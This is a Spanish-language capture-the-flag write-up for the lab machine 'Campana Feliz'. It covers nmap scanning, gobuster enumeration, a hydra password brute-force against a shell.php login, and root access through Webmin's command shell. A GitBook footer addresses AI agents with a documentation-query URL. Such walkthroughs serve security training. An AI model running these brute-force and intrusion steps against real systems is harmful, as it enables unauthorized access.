# Campana Feliz

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.58
```

para verificar la conectividad de red.

<figure><img src="/files/EP2pUAjbmlW3tosIGXhD" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.58 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/MZ7wtluYTX37eRWN7IVk" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 8088** perteneciente al **servicio HTTP** y el **puerto 10000** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,8088,10000 -v 192.168.1.58
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/SSvrbYn11LgduKAwEhIl" alt=""><figcaption></figcaption></figure>

Miramos a ver que contiene el puerto 8080 por si encontramos alguna información relevante.

<figure><img src="/files/wKvCiSzpBOELt2zY2Qf9" alt=""><figcaption></figcaption></figure>

No hay a primera vista nada pero revisamos el código fuente.

<figure><img src="/files/S23KMhRmEuV5SxVXN6Wm" alt=""><figcaption></figcaption></figure>

Vemos que son dos cadenas codificadas en base64 por lo que decodificamos.

<figure><img src="/files/KMu2TPeJu4c70L9X9FLf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Njzk9LtKfkBsk1MmHiEe" alt=""><figcaption></figcaption></figure>

Enumeramos los directorios.

```
gobuster dir -u http://192.168.1.58:8088/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="/files/ydR6upK7KeCQKBhZuZm0" alt=""><figcaption></figcaption></figure>

Nos llama la atención el archivo **shell.php** por lo que revisamos.

<figure><img src="/files/u5GlP5PZ5aXEgMuOERtD" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Realizamos fuerza bruta con el usuario campana para entrar en el panel.

```bash
hydra -l campana -P /usr/share/wordlists/rockyou.txt 192.168.1.58 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"
```

<figure><img src="/files/8lW9NYYAIrmUrCBqIDbB" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales. Nos aparece como una shell para ejecutar comandos. Indagando entre los directorios en el **/opt** encontramos una nota.

<figure><img src="/files/wTxESJfUgVXnEFduTDWJ" alt=""><figcaption></figcaption></figure>

Revisamos su contenido.

```bash
cat /opt/CMS\ Webmin.txt
```

<figure><img src="/files/FnD1VgTIMEZgWXlNiywU" alt=""><figcaption></figcaption></figure>

Accedemos entonces al puerto 10000.

<figure><img src="/files/MR7MIt6eBqdM80jOPSnH" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Nos logueamos con las credenciales proporcionadas.

<figure><img src="/files/Xf0GULZ8u8BtkwutDqlL" alt=""><figcaption></figcaption></figure>

Entramos en el apartado **Tools** luego en **Command Shell** y somos root.

<figure><img src="/files/zHiOv2uLDERMRqQaGh4y" alt=""><figcaption></figcaption></figure>

Ya somos **root**.&#x20;

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/campana-feliz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
